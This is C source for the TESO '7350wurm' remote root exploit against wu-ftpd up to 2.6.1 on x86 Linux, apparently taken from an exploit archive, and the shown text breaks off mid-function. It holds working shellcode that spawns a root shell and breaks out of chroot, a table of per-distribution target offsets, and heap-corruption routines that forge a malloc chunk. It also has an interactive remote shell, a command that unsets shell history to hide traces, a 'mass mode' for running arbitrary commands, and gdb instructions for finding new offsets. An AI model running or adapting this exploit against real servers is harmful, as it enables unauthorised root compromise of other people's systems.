path: root/exploits/7350wurm/7350wurm-backup3.c

/* 7350wurm - x86/linux wu-ftpd remote root exploit
 *
 * TESO CONFIDENTIAL - SOURCE MATERIALS
 *
 * This is unpublished proprietary source code of TESO Security.
 *
 * The contents of these coded instructions, statements and computer
 * programs may not be disclosed to third parties, copied or duplicated in
 * any form, in whole or in part, without the prior written permission of
 * TESO Security. This includes especially the Bugtraq mailing list, the
 * www.hack.co.za website and any public exploit archive.
 *
 * The distribution restrictions cover the entire file, including this
 * header notice. (This means, you are not allowed to reproduce the header).
 *
 * (C) COPYRIGHT TESO Security, 2001
 * All Rights Reserved
 *
 *****************************************************************************
 * thanks to bnuts, tomas, dvorak, scrippie and max for hints, discussions and
 * ideas (synnergy.net rocks, thank you buddies ! :).
 */

#define	VERSION "0.1.1"

#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <arpa/telnet.h>
#include <netdb.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <time.h>


#define	INIT_CMD	"unset HISTFILE;id;uname -a;\n"

/* shellcodes
 */
unsigned char	x86_lnx_loop[] =
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\xeb\xfe";

/* x86/linux write/read/exec code (41 bytes)
 * does: 1. write (1, "\nsP\n", 4);
 *       2. read (0, ncode, 0xff);
 *	 3. jmp ncode
 */
unsigned char	x86_wrx[] =
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

	"\x31\xdb\x43\xb8\x0b\x74\x51\x0b\x2d\x01\x01\x01"
	"\x01\x50\x89\xe1\x6a\x04\x58\x89\xc2\xcd\x80\xeb"
	"\x0e\x31\xdb\xf7\xe3\xfe\xca\x59\x6a\x03\x58\xcd"
	"\x80\xeb\x05\xe8\xed\xff\xff\xff";


unsigned char	x86_lnx_execve[] =
	/* 49 byte x86 linux PIC setreuid(0,0) + chroot-break
	 * code by lorian / teso
	 */
	"\x33\xdb\xf7\xe3\xb0\x46\x33\xc9\xcd\x80\x6a\x54"
	"\x8b\xdc\xb0\x27\xb1\xed\xcd\x80\xb0\x3d\xcd\x80"
	"\x52\xb1\x10\x68\xff\x2e\x2e\x2f\x44\xe2\xf8\x8b"
	"\xdc\xb0\x3d\xcd\x80\x58\x6a\x54\x6a\x28\x58\xcd"
	"\x80"

	/* 33 byte x86/linux PIC argv -sc
	 */
	"\xeb\x1c\x5f\x31\xc0\x50\x8a\x07\x47\x57\xae\x75"
	"\xfd\x88\x67\xff\x48\x75\xf6\x5b\x53\x50\x5a\x89"
//	"\xe1\xb0\x0b\xcd\x80\xe8\xdf\xff\xff\xff";
/*FIXME*/"\xe1\xb0\x0b\xcc\xcd\x80\xe8\xdf\xff\xff\xff";
//			^^ debug trap


/* setreuid/chroot/execve
 * lorian / teso */
unsigned char   x86_lnx_shell[] =
	"\x33\xdb\xf7\xe3\xb0\x46\x33\xc9\xcd\x80\x6a\x54"
	"\x8b\xdc\xb0\x27\xb1\xed\xcd\x80\xb0\x3d\xcd\x80"
	"\x52\xb1\x10\x68\xff\x2e\x2e\x2f\x44\xe2\xf8\x8b"
	"\xdc\xb0\x3d\xcd\x80\x58\x6a\x54\x6a\x28\x58\xcd"
	"\x80"
	"\x6a\x0b\x58\x99\x52\x68\x6e\x2f\x73\x68\x68\x2f"
	"\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xcd\x80";

/* HOWTO get the offsets:

   retloc: objdump -R /usr/sbin/in.ftpd | grep free

   set retaddr to 0x41414141 and run the exploit:
   $ ./7 -t <yourtype> -D -v

   Now when it asks for enter, just press it, but as it asks the second
   time, attach GDB to the wuftpd process. Continue it, and press enter
   in the exploit. Wuftpd will segfault.

   Do:
   (gdb) x/10wx $esp

   It will show some parameters to free, the first parameter of the form
   0x08...... is interesting:

   (gdb) x/64wx 0x08......

   Should show a block of 0x0ceb0ceb's in memory. Just choose such a place
   as retloc and there you are.
 */

typedef struct {
	char *			desc;		/* distribution */
	char *			banner;		/* ftp banner part */
	unsigned char *		shellcode;
	unsigned int		shellcode_len;

	unsigned long int	retloc;		/* return address location */
	unsigned long int	retaddr;	/* return address */
} tgt_type;


tgt_type tmanual = {
	"manual values",
	"unknown banner",
	x86_wrx, sizeof (x86_wrx) - 1,
	0x41414141, 0x42424242
};

tgt_type targets[] = {
	{ "Debian sid [wu-ftpd_2.6.1-5_i386.deb]",
		"Version wu-2.6.1(1) Sat Feb 24 01:43:53 GMT 2001",
		x86_wrx, sizeof (x86_wrx) - 1,
		0x0806e7a0, 0x08094018 },

	{ "Immunix 6.2 (Cartman) [wu-ftpd-2.6.0-3_StackGuard.rpm]",
		"Version wu-2.6.0(1) Thu May 25 03:35:34 PDT 2000",
		x86_wrx, sizeof (x86_wrx) - 1,
		0x080713e0, 0x08093c40 },

	{ "Immunix 7.0 (Stolichnaya) [wu-ftpd-2.6.1-6_imnx_2.rpm]",
		"Version wu-2.6.1(1) Mon Jan 29 08:04:31 PST 2001",
		x86_wrx, sizeof (x86_wrx) - 1,
		0x08072bd4, 0x080976e0},

	{ "RedHat 5.2 (Apollo) [wu-ftpd-2.4.2b18-2.rpm]",
		"Version wu-2.4.2-academ[BETA-18](1) Mon Aug 3 19:17:20 EDT 1998",
		x86_wrx, sizeof (x86_wrx) - 1,
		0x08061c48, 0x0806c948 },

/* TODO: check, does not segfault !
	{ "RedHat 6.0 (Hedwig) [wu-ftpd-2.4.2vr17-3.rpm]",
		"Version wu-2.4.2-VR17(1) Mon Apr 19 09:21:53 EDT 1999",
		x86_wrx, sizeof (x86_wrx) - 1,
		0x08069f04, 0x41414141 },
*/

	{ "RedHat 6.1 (Cartman) [wu-ftpd-2.5.0-9.rpm]",
		"Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999",
		x86_wrx, sizeof (x86_wrx) - 1,
		0x0806cb88, 0x08089848 },

	{ "RedHat 7.1 (Seawolf) [wu-ftpd-2.6.1-16.rpm]",
		"Version wu-2.6.1-16(1)",
		x86_wrx, sizeof (x86_wrx) - 1,
		0x0807314c, 0x08098e40 },

	/* slackware (from 8 on they use proftpd by default) */
	{ "Slackware 7",
		"Version wu-2.6.0(1) Fri Oct 22 00:38:20 CDT 1999",
		x86_wrx, sizeof (x86_wrx) - 1,
		0x0806d03c, 0x0808f648 },

	{ "Slackware 7.1",
		"Version wu-2.6.0(1) Tue Jun 27 10:52:28 PDT 2000",
		x86_wrx, sizeof (x86_wrx) - 1,
		0x0806ba2c, 0x08088e48 },

	{ NULL, NULL, 0, 0, 0, 0 },
};

/* exploitation related stuff.
 * DO NOT CHANGE, except you know exactly what you are doing.
 */
#define	CHUNK_POS	192

#define	MALLOC_ALIGN_MASK	0x07
#define	MALLOC_MINSIZE		0x10
#define	CHUNK_ROUND(s) \
	(((((s) + 4 + MALLOC_ALIGN_MASK)) < \
		(MALLOC_MINSIZE + MALLOC_ALIGN_MASK)) ? \
	(MALLOC_MINSIZE) : ((((s) + 4 + MALLOC_ALIGN_MASK)) & ~MALLOC_ALIGN_MASK))


/* FTP related stuff
 */
char *	dest = "127.0.0.1";	/* can be changed with -d */
char *	username = "ftp";	/* can be changed with -u */
char *	password = "mozilla@";	/* can be changed with -p */

char *	ftp_banner = NULL;

int	verbose = 0;


/* FTP prototypes
 */
void ftp_escape (unsigned char *buf, unsigned long int buflen);
void ftp_recv_until (int sock, char *buff, int len, char *begin);
int ftp_login (char *host, char *user, char *pass);


/* main prototypes
 */
void usage (char *progname);
tgt_type * tgt_frombanner (unsigned char *banner);
void shell (int sock);
void hexdump (char *desc, unsigned char *data, unsigned int amount);

void xp_buildsize (int fd, unsigned char this_size_ls, unsigned long int csize);
void xp_gapfill (int fd, int rnfr_num, int rnfr_size);
int xp_build (tgt_type *tgt, unsigned char *buf, unsigned long int buf_len);
void xp_buildchunk (tgt_type *tgt, unsigned char *cspace, unsigned int clen);


/*** MASS mode stuff
 */
static int
sc_build_x86_lnx (unsigned char *target, size_t target_len,
	unsigned char *shellcode, char **argv);

int		mass = 0;	/* enable with -m (kids, get hurt!) */
unsigned int	mlen = 0;
unsigned char	mcode[256];


/* imported from network.c
 */
#define NET_CONNTIMEOUT	60
#define NET_READTIMEOUT	20
int	net_conntimeout = NET_CONNTIMEOUT;

unsigned long int net_resolve (char *host);
int net_connect (struct sockaddr_in *cs, char *server,
	unsigned short int port, int sec);
void net_write (int fd, const char *str, ...);
int net_rtimeout (int fd, int sec);
int net_rlinet (int fd, char *buf, int bufsize, int sec);


/* exploitation related stuff, which is fixed on all wuftpd systems
 */
#define	RNFR_SIZE	4
#define	RNFR_NUM	73

int	automode = 0;	/* evil, do not use */
int	debugmode = 0;

void
usage (char *progname)
{
	fprintf (stderr, "usage: %s [-h] [-v] [-a] [-D] [-m]\n"
		"\t[-t <num>] [-u <user>] [-p <pass>] [-d host]\n"
		"\t[-L <retloc>] [-A <retaddr>]\n\n", progname);

	fprintf (stderr,
		"-h\tthis help\n"
		"-v\tbe verbose (default: off, twice for greater effect)\n"
		"-a\tAUTO mode (target from banner)\n"
		"-D\tDEBUG mode (waits for keypresses)\n"
		"-m\tenable mass mode (use with care)\n"
		"-t num\tchoose target (0 for list, try -v or -v -v)\n"
		"-u user\tusername to login to FTP (default: \"ftp\")\n"
		"-p pass\tpassword to use (default: \"mozilla@\")\n"
		"-d dest\tIP address or fqhn to connect to "
			"(default: 127.0.0.1)\n"
		"-L loc\toverride target-supplied retloc (format: 0xdeadbeef)\n"
		"-A addr\toverride target-supplied retaddr (format: 0xcafebabe)\n");
	fprintf (stderr, "\n");

	exit (EXIT_FAILURE);
}


int
main (int argc, char *argv[])
{
	char			c;
	char *			progname;	/* = argv[0] */
	int			fd;

	tgt_type *		tgt = NULL;
	int			tgt_num = -1;
	unsigned long int	user_retloc = 0,
				user_retaddr = 0;
	unsigned long int	malign = 0;	/* PWD alignment */

	unsigned char		xpbuf[512 + 16];


	fprintf (stderr, "7350wurm - x86/linux wuftpd <= 2.6.1 remote root\n"
		"team teso (thx bnuts, tomas, synnergy.net !).\n\n");

	progname = argv[0];
	if (argc < 2)
		usage (progname);


	while ((c = getopt (argc, argv, "M:hvaDmt:u:p:d:L:A:")) != EOF) {
		switch (c) {
		case 'M':
			if (sscanf (optarg, "%lu", &malign) != 1)
				usage (progname);
			break;
		case 'h':
			usage (progname);
			break;
		case 'a':
			automode = 1;
			break;
		case 'D':
			debugmode = 1;
			break;
		case 'v':
			verbose += 1;
			break;
		case 'm':
			mass = 1;
			break;
		case 't':
			if (sscanf (optarg, "%u", &tgt_num) != 1)
				usage (progname);
			break;
		case 'u':
			username = optarg;
			printf ("username = %s\n", optarg);
			break;
		case 'p':
			password = optarg;
			break;
		case 'd':
			dest = optarg;
			break;
		case 'L':
			if (sscanf (optarg, "0x%lx", &user_retloc) != 1)
				usage (progname);
			break;
		case 'A':
			if (sscanf (optarg, "0x%lx", &user_retaddr) != 1)
				usage (progname);
			break;
		default:
			usage (progname);
			break;
		}
	}

	/* if both required offsets are given manually, then we dont have
	 * to require a target selection. otherwise check whether the target
	 * is within the list. if its not, then print a list of available
	 * targets
	 */
	if (user_retloc != 0 && user_retaddr != 0) {
		tgt = &tmanual;
	} else if (automode == 0 && (tgt_num == 0 ||
		tgt_num >= (sizeof (targets) / sizeof (tgt_type))))
	{
		if (tgt_num != 0)
			printf ("WARNING: target out of list. giving list\n\n");
		tgt_num = 0;

		printf ("num . description\n");
		printf ("----+-------------------------------------------------------\n");

		for ( ; targets[tgt_num].desc != NULL ; ++tgt_num) {
			printf ("%3d | %s\n", tgt_num + 1,
				targets[tgt_num].desc);

			if (verbose)
				printf ("    :    %s\n", targets[tgt_num].banner);
			if (verbose >= 2)
				printf ("    :    retloc: 0x%08lx   "
					"retaddr: 0x%08lx\n",
					targets[tgt_num].retloc,
					targets[tgt_num].retaddr);
		}

		printf ("    '\n");

		exit (EXIT_SUCCESS);
	}
	if (tgt == NULL && automode == 0)
		tgt = &targets[tgt_num - 1];

	if (mass == 1) {
		if ((argc - optind) == 0)
			usage (progname);

		mlen = sc_build_x86_lnx (mcode, sizeof (mcode),
			x86_lnx_execve, &argv[optind]);

		if (mlen >= 0xff) {
			fprintf (stderr, "created argv-code too long "
				"(%d bytes)\n", mlen);

			exit (EXIT_FAILURE);
		}

		fprintf (stderr, "# created %d byte execve shellcode\n", mlen);
	}


	printf ("# trying to log into %s with (%s/%s) ...", dest,
		username, password);
	fflush (stdout);

	fd = ftp_login (dest, username, password);
	if (fd <= 0) {
		fprintf (stderr, "\nfailed to connect (user/pass correct?)\n");
		exit (EXIT_FAILURE);
	}
	printf (" connected.\n");

	if (debugmode) {
		printf ("DEBUG: press enter\n");
		getchar ();
	}

	printf ("# banner: %s", (ftp_banner == NULL) ? "???" :
		ftp_banner);

	if (tgt == NULL && automode) {
		tgt = tgt_frombanner (ftp_banner);
		if (tgt == NULL) {
			printf ("# failed to jield target from banner, aborting\n");

			exit (EXIT_FAILURE);
		}
		printf ("# successfully selected target from banner\n");
	}


	if (user_retaddr != 0) {
		fprintf (stderr, "# overriding target retaddr with: 0x%08lx\n",
			user_retaddr);

		tgt->retaddr = user_retaddr;
	}

	if (user_retloc != 0) {
		fprintf (stderr, "# overriding target retloc with: 0x%08lx\n",
			user_retloc);

		tgt->retloc = user_retloc;
	}

	printf ("\n### TARGET: %s\n\n", tgt->desc);

	/* real stuff starts from here
	 */
	printf ("# 1. filling memory gaps\n");
	xp_gapfill (fd, RNFR_NUM, RNFR_SIZE);


	printf ("# 2. sending bigbuf + fakechunk\n");
	xp_build (tgt, xpbuf, 500 - strlen ("LIST "));
	if (verbose)
		hexdump ("xpbuf", xpbuf, strlen (xpbuf));
	ftp_escape (xpbuf, sizeof (xpbuf));
	net_write (fd, "CWD %s\n", xpbuf);
	ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "550 ");


	/* synnergy.net uberleet method (thank you very much guys !)
	 */
	net_write (fd, "CWD ~/{.,.,.,.}\n");
	ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "250 ");

	/* now, we flush the last-used-chunk marker in glibc malloc code. else
	 * we might land in a previously used bigger chunk, but we need a
	 * sequential order. "CWD ." will allocate a two byte chunk, which will
	 * be reused on any later small malloc.
	 */
	net_write (fd, "CWD .\n");
	ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "250 ");

	xp_gapfill (fd, 1, 16);	/* cause chunk w/ 0x20 size */

	{
		unsigned long int	dir_chunk_size,
					bridge_dist,
					padchunk_size,
					fakechunk_size;
		unsigned char *		dl;	/* dirlength */

		net_write (fd, "PWD\n");
		ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "257 ");

		dl = strchr (xpbuf, '"');
		if (dl == NULL || strchr (dl + 1, '"') == NULL) {
			fprintf (stderr, "faulty PWD reply: %s\n", xpbuf);

			exit (EXIT_FAILURE);
		}

		dir_chunk_size = 0;
		for (dl += 1 ; *dl != '"' ; ++dl)
			dir_chunk_size += 1;

		dir_chunk_size += 3;	/* ~/ + NUL byte */
#if 0
		dir_chunk_size = (dir_chunk_size + 7) & ~7;
		dir_chunk_size = (dir_chunk_size + 4 + 7) & ~7;
#endif
		dir_chunk_size = CHUNK_ROUND (dir_chunk_size);
		printf ("dir_chunk_size = 0x%08lx\n", dir_chunk_size);

		/* 0x10 (CWD ~/{.,.,.,.}) + 4 * dirchunk */
		bridge_dist = 0x10 + 4 * dir_chunk_size;
		printf ("bridge_dist = 0x%08lx\n", bridge_dist);
		/* 0x18 (RNFR 16), dcs (RNFR dir), 0x10 (CWD ~{) */
		padchunk_size = bridge_dist - 0x18 - dir_chunk_size - 0x10;
		printf ("padchunk_size = 0x%08lx\n", padchunk_size);

		/* +4 = this_size field itself */
		fakechunk_size = CHUNK_POS - 0x1c + 4;
#if 0
		fakechunk_size = 0x18 +	/* RNFR 16* */
			0x10 +		/* RNFR . */
			padchunk_size +	/* RNFR padding */
			0x10 +		/* CWD ~{ */
			0x10;		/* globlist = malloc(...) */
#endif
		fakechunk_size |= 0x1;	/* PREV_INUSE */

		printf ("fakechunk_size = 0x%08lx\n", fakechunk_size);
		xp_buildsize (fd, fakechunk_size, dir_chunk_size);

		/* pad down to the minimum possible size in 8 byte alignment
		 */
		xp_gapfill (fd, 1, padchunk_size - 8 - 1);
	}

	if (debugmode) {
		printf ("press enter\n");
		getchar ();
	}

	printf ("# 3. triggering free(globlist[1])\n");
	net_write (fd, "CWD ~{\n");

	ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "sP");
	if (strncmp (xpbuf, "sP", 2) != 0) {
		fprintf (stderr, "exploitation FAILED !\noutput:\n%s\n",
			xpbuf);

		exit (EXIT_FAILURE);
	}

	printf ("#\n# exploitation succeeded. sending real shellcode\n");

	if (mass == 1) {
		printf ("# mass mode, sending constructed argv code\n");

		net_write (fd, "%s\n", mcode);

		printf ("# send. sleeping 10 seconds\n");
		sleep (10);

		printf ("# success.\n");

		exit (EXIT_SUCCESS);
	}

	printf ("# sending setreuid/chroot/execve shellcode\n");
	net_write (fd, "%s", x86_lnx_shell);

	printf ("# spawning shell\n");
	printf ("##################################################"
			"##########################\n");

	write (fd, INIT_CMD, strlen (INIT_CMD));
	shell (fd);

	exit (EXIT_SUCCESS);
}


tgt_type *
tgt_frombanner (unsigned char *banner)
{
	int	tw;	/* target list walker */


	for (tw = 0 ; targets[tw].desc != NULL ; ++tw) {
		if (strstr (banner, targets[tw].banner) != NULL)
			return (&targets[tw]);
	}

	return (NULL);
}


/* xp_buildsize
 *
 * set chunksize to this_size_ls. do this in a csize bytes long chunk.
 * normally csize = 0x10. csize is always a padded chunksize.
 */

void
xp_buildsize (int fd, unsigned char this_size_ls, unsigned long int csize)
{
	int		n,
			cw,	/* chunk walker */
			bw;	/* back walker */
	unsigned char	tmpbuf[512];
	unsigned char *	leet = "7350";


	for (n = 2 ; n > 0 ; --n) {
		memset (tmpbuf, '\0', sizeof (tmpbuf));

		for (cw = 0 ; cw < (csize - 0x08) ; ++cw)
			tmpbuf[cw] = leet[cw % 4];

		tmpbuf[cw - 4 + n] = '\0';
		printf (": CWD %s\n", tmpbuf);
		net_write (fd, "CWD %s\n", tmpbuf);
		ftp_recv_until (fd, tmpbuf, sizeof (tmpbuf), "550 ");
	}

	memset (tmpbuf, '\0', sizeof (tmpbuf));
	for (cw = 0 ; cw < (csize - 0x08 - 0x04) ; ++cw)
		tmpbuf[cw] = leet[cw % 4];

	printf ("| CWD %s\n", tmpbuf);
	net_write (fd, "CWD %s%c\n", tmpbuf, this_size_ls);
	ftp_recv_until (fd, tmpbuf, sizeof (tmpbuf), "550 ");

	/* send a minimum-sized malloc request that will allocate a chunk
	 * with 'csize' overall bytes
	 */
	if (csize == 0x10) {	/* minimum size of a chunk, yay */
		xp_gapfill (fd, 1, 1);
	} else {
		xp_gapfill (fd, 1, csize - 8 - 7);	/* its the same */
	}

	return;
}

#if 0
void
xp_buildsize (int fd, unsigned char this_size_ls, unsigned long int csize)
{
	int		n;
	char *		rst_arr[3] = { "7350foo", "7350fo", NULL };
	unsigned char	tmpbuf[512];


	for (n = 0 ; rst_arr[n] != NULL ; ++n) {
		net_write (fd, "CWD %s\n", rst_arr[n]);
		ftp_recv_until (fd, tmpbuf, sizeof (tmpbuf), "550 ");
	}

	net_write (fd, "CWD 7350%c\n", this_size_ls);
	ftp_recv_until (fd, tmpbuf, sizeof (tmpbuf), "550 ");

	xp_gapfill (fd, 1, 1);			/* protect this_size */

	return;
}
#endif


/* xp_gapfill
 *
 * fill all small memory gaps in wuftpd malloc space. do this by sending
 * rnfr requests which cause a memleak in wuftpd.
 *
 * return in any case
 */

void
xp_gapfill (int fd, int rnfr_num, int rnfr_size)
{
	int		n;
	unsigned char *	rb;		/* rnfr buffer */
	unsigned char *	rbw;		/* rnfr buffer walker */
	unsigned char	rcv_buf[512];	/* temporary receive buffer */


	rbw = rb = calloc (1, rnfr_size + 6);
	strcpy (rbw, "RNFR ");
	rbw += strlen (rbw);

	/* append a string of "././././". since wuftpd only checks whether
	 * the pathname is lstat'able, it will go through without any problems
	 */
	for (n = 0 ; n < rnfr_size ; ++n)
		strcat (rbw, ((n % 2) == 0) ? "." : "/");
	strcat (rbw, "\n");

	for (n = 0 ; n < rnfr_num; ++n) {
		net_write (fd, "%s", rb);
		ftp_recv_until (fd, rcv_buf, sizeof (rcv_buf), "350 ");
	}
	free (rb);

	return;
}


#define	ADDR_STORE(ptr,addr){\
	((unsigned char *) (ptr))[0] = (addr) & 0xff;\
	((unsigned char *) (ptr))[1] = ((addr) >> 8) & 0xff;\
	((unsigned char *) (ptr))[2] = ((addr) >> 16) & 0xff;\
	((unsigned char *) (ptr))[3] = ((addr) >> 24) & 0xff;\
}


int
xp_build (tgt_type *tgt, unsigned char *buf, unsigned long int buf_len)
{
	unsigned char *	wl;


	memset (buf, '\0', buf_len);

	memset (buf, '0', CHUNK_POS);
	xp_buildchunk (tgt, buf + CHUNK_POS, buf_len - CHUNK_POS - 1);

	for (wl = buf + strlen (buf) ; wl < &buf[buf_len - 1] ; wl += 2) {
		wl[0] = '\xeb';
		wl[1] = '\x0c';
	}

	memcpy (&buf[buf_len - 1] - tgt->shellcode_len, tgt->shellcode,
		tgt->shellcode_len);


	return (strlen (buf));
}


/* xp_buildchunk
 *
 * build the fake malloc chunk that will overwrite retloc with retaddr
 */

void
xp_buildchunk (tgt_type *tgt, unsigned char *cspace, unsigned int clen)
{
	fprintf (stderr, "\tbuilding chunk: ([0x%08lx] = 0x%08lx) in %d bytes\n",
		tgt->retloc, tgt->retaddr, clen);

	/* easy, straight forward technique
	 */
	ADDR_STORE (&cspace[0], 0xfffffff0);		/* prev_size */
	ADDR_STORE (&cspace[4], 0xfffffffc);		/* this_size */
	ADDR_STORE (&cspace[8], tgt->retloc - 12);	/* fd */
	ADDR_STORE (&cspace[12], tgt->retaddr);		/* bk */ 

	return;
}



void
shell (int sock)
{
	int	l;
	char	buf[512];
	fd_set	rfds;


	while (1) {
		FD_SET (0, &rfds);
		FD_SET (sock, &rfds);

		select (sock + 1, &rfds, NULL, NULL, NULL);
		if (FD_ISSET (0, &rfds)) {
			l = read (0, buf, sizeof (buf));
			if (l <= 0) {
				perror ("read user");
				exit (EXIT_FAILURE);
			}
			write (sock, buf, l);
		}

		if (FD_ISSET (sock, &rfds)) {
			l = read (sock, buf, sizeof (buf));
			if (l == 0) {
				printf ("connection closed by foreign host.\n");
				exit (EXIT_FAILURE);
			} else if (l < 0) {
				perror ("read remote");
				exit (EXIT_FAILURE);
			}
			write (1, buf, l);
		}
	}
}


/*** FTP functions
 */

/* FTP is TELNET is SHIT.
 */

void
ftp_escape (unsigned char *buf, unsigned long int buflen)
{
	unsigned char *	obuf = buf;


	for ( ; *buf != '\0' ; ++buf) {
		if (*buf == 0xff &&
			(((buf - obuf) + strlen (buf) + 1) < buflen))
		{
			memmove (buf + 1, buf, strlen (buf) + 1);
			buf += 1;
		}
	}
}


void
ftp_recv_until (int sock, char *buff, int len, char *begin)
{
	char	dbuff[2048];


	if (buff == NULL) {
		buff = dbuff;
		len = sizeof (dbuff);
	}

	do {
		memset (buff, '\x00', len);
		if (net_rlinet (sock, buff, len - 1, 20) <= 0)
			return;
	} while (memcmp (buff, begin, strlen (begin)) != 0);

	return;
}


int
ftp_login (char *host, char *user, char *pass)
{
	int	ftpsock;
	char 	resp[512];


	ftpsock = net_connect (NULL, host, 21, 30);
	if (ftpsock <= 0)
		return (0);

	memset (resp, '\x00', sizeof (resp));
	if (net_rlinet (ftpsock, resp, sizeof (resp) - 1, 20) <= 0)
		goto flerr;

	/* handle multiline pre-login stuff (rfc violation !)
	 */
	if (memcmp (resp, "220-", 4) == 0)
		ftp_recv_until (ftpsock, resp, sizeof (resp), "220 ");

	if (memcmp (resp, "220 ", 4) != 0) {
		if (verbose)
			printf ("\n%s\n", resp);
		goto flerr;
	}
	ftp_banner = strdup (resp);

	net_write (ftpsock, "USER %s\n", user);
	memset (resp, '\x00', sizeof (resp));
	if (net_rlinet (ftpsock, resp, sizeof (resp) - 1, 20) <= 0)
		goto flerr;

	if (memcmp (resp, "331 ", 4) != 0) {
		if (verbose)
			printf ("\n%s\n", resp);
		goto flerr;
	}

	net_write (ftpsock, "PASS %s\n", pass);
	memset (resp, '\x00', sizeof (resp));
	if (net_rlinet (ftpsock, resp, sizeof (resp) - 1, 20) <= 0)
		goto flerr;


	/* handle multiline responses from ftp servers
	 */
	if (memcmp (resp, "230-", 4) == 0)
		ftp_recv_until (ftpsock, resp, sizeof (resp), "230 ");

	if (memcmp (resp, "230 ", 4) != 0) {
		if (verbose)
			printf ("\n%s\n", resp);
		goto flerr;
	}

	return (ftpsock);

flerr:
	if (ftpsock > 0)
		close (ftpsock);

	return (0);
}


/* ripped from zodiac */
void
hexdump (char *desc, unsigned char *data, unsigned int amount)
{
	unsigned int	dp, p;	/* data pointer */
	const char	trans[] =
		"................................ !\"#$%&'()*+,-./0123456789"
		":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"
		"nopqrstuvwxyz{|}~...................................."
		"....................................................."
		"........................................";


	printf ("/* %s, %u bytes */\n", desc, amount);

	for (dp = 1; dp <= amount; dp++) {
		fprintf (stderr, "%02x ", data[dp-1]);
		if ((dp % 8) == 0)
			fprintf (stderr, " ");
		if ((dp % 16) == 0) {
			fprintf (stderr, "| ");
			p = dp;
			for (dp -= 16; dp < p; dp++)
				fprintf (stderr, "%c", trans[data[dp]]);
			fflush (stderr);
			fprintf (stderr, "\n");
		}
		fflush (stderr);
	}
	if ((amount % 16) != 0) {
		p = dp = 16 - (amount % 16);
		for (dp = p; dp > 0; dp--) {
			fprintf (stderr, "   ");
			if (((dp % 8) == 0) && (p != 8))
				fprintf (stderr, " ");
			fflush (stderr);
		}
		fprintf (stderr, " | ");
		for (dp = (amount - (16 - p)); dp < amount; dp++)
			fprintf (stderr, "%c", trans[data[dp]]);
		fflush (stderr);
	}
	fprintf (stderr, "\n");

	return;
}



unsigned long int
net_resolve (char *host)
{
	long		i;
	struct hostent	*he;

	i = inet_addr(host);
	if (i == -1) {
		he = gethostbyname(host);
		if (he == NULL) {
			return (0);
		} else {
			return (*(unsigned long *) he->h_addr);
		}
	}
	return (i);
}


int
net_connect (struct sockaddr_in *cs, char *server,
	unsigned short int port, int sec)
{
	int			n,
				len,
				error,
				flags;
	int			fd;
	struct timeval		tv;
	fd_set			rset, wset;
	struct sockaddr_in	csa;

	if (cs == NULL)
		cs = &csa;

	/* first allocate a socket */
	cs->sin_family = AF_INET;
	cs->sin_port = htons (port);
	fd = socket (cs->sin_family, SOCK_STREAM, 0);
	if (fd == -1)
		return (-1);

	if (!(cs->sin_addr.s_addr = net_resolve (server))) {
		close (fd);
		return (-1);
	}

	flags = fcntl (fd, F_GETFL, 0);
	if (flags == -1) {
		close (fd);
		return (-1);
	}
	n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
	if (n == -1) {
		close (fd);
		return (-1);
	}

	error = 0;

	n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));
	if (n < 0) {
		if (errno != EINPROGRESS) {
			close (fd);
			return (-1);
		}
	}
	if (n == 0)
		goto done;

	FD_ZERO(&rset);
	FD_ZERO(&wset);
	FD_SET(fd, &rset);
	FD_SET(fd, &wset);
	tv.tv_sec = sec;
	tv.tv_usec = 0;

	n = select(fd + 1, &rset, &wset, NULL, &tv);
	if (n == 0) {
		close(fd);
		errno = ETIMEDOUT;
		return (-1);
	}
	if (n == -1)
		return (-1);

	if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) {
		if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {
			len = sizeof(error);
			if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) {
				errno = ETIMEDOUT;
				return (-1);
			}
			if (error == 0) {
				goto done;
			} else {
				errno = error;
				return (-1);
			}
		}
	} else
		return (-1);

done:
	n = fcntl(fd, F_SETFL, flags);
	if (n == -1)
		return (-1);
	return (fd);
}


void
net_write (int fd, const char *str, ...)
{
	char	tmp[1025];
	va_list	vl;
	int	i;

	va_start(vl, str);
	memset(tmp, 0, sizeof(tmp));
	i = vsnprintf(tmp, sizeof(tmp), str, vl);
	va_end(vl);

#ifdef DEBUG
	printf ("[snd] %s%s", tmp, (tmp[strlen (tmp) - 1] == '\n') ? "" : "\n");
#endif

	send(fd, tmp, i, 0);
	return;
}


int
net_rlinet (int fd, char *buf, int bufsize, int sec)
{
	int			n;
	unsigned long int	rb = 0;
	struct timeval		tv_start, tv_cur;

	memset(buf, '\0', bufsize);
	(void) gettimeofday(&tv_start, NULL);

	do {
		(void) gettimeofday(&tv_cur, NULL);
		if (sec > 0) {
			if ((((tv_cur.tv_sec * 1000000) + (tv_cur.tv_usec)) -
				((tv_start.tv_sec * 1000000) +
				(tv_start.tv_usec))) > (sec * 1000000))
			{
				return (-1);
			}
		}
		n = net_rtimeout(fd, NET_READTIMEOUT);
		if (n <= 0) {
			return (-1);
		}
		n = read(fd, buf, 1);
		if (n <= 0) {
			return (n);
		}
		rb++;
		if (*buf == '\n')
			return (rb);
		buf++;
		if (rb >= bufsize)
			return (-2);	/* buffer full */
	} while (1);
}


int
net_rtimeout (int fd, int sec)
{
	fd_set		rset;
	struct timeval	tv;
	int		n, error, flags;


	error = 0;
	flags = fcntl(fd, F_GETFL, 0);
	n = fcntl(fd, F_SETFL, flags | O_NONBLOCK);
	if (n == -1)
		return (-1);

	FD_ZERO(&rset);
	FD_SET(fd, &rset);
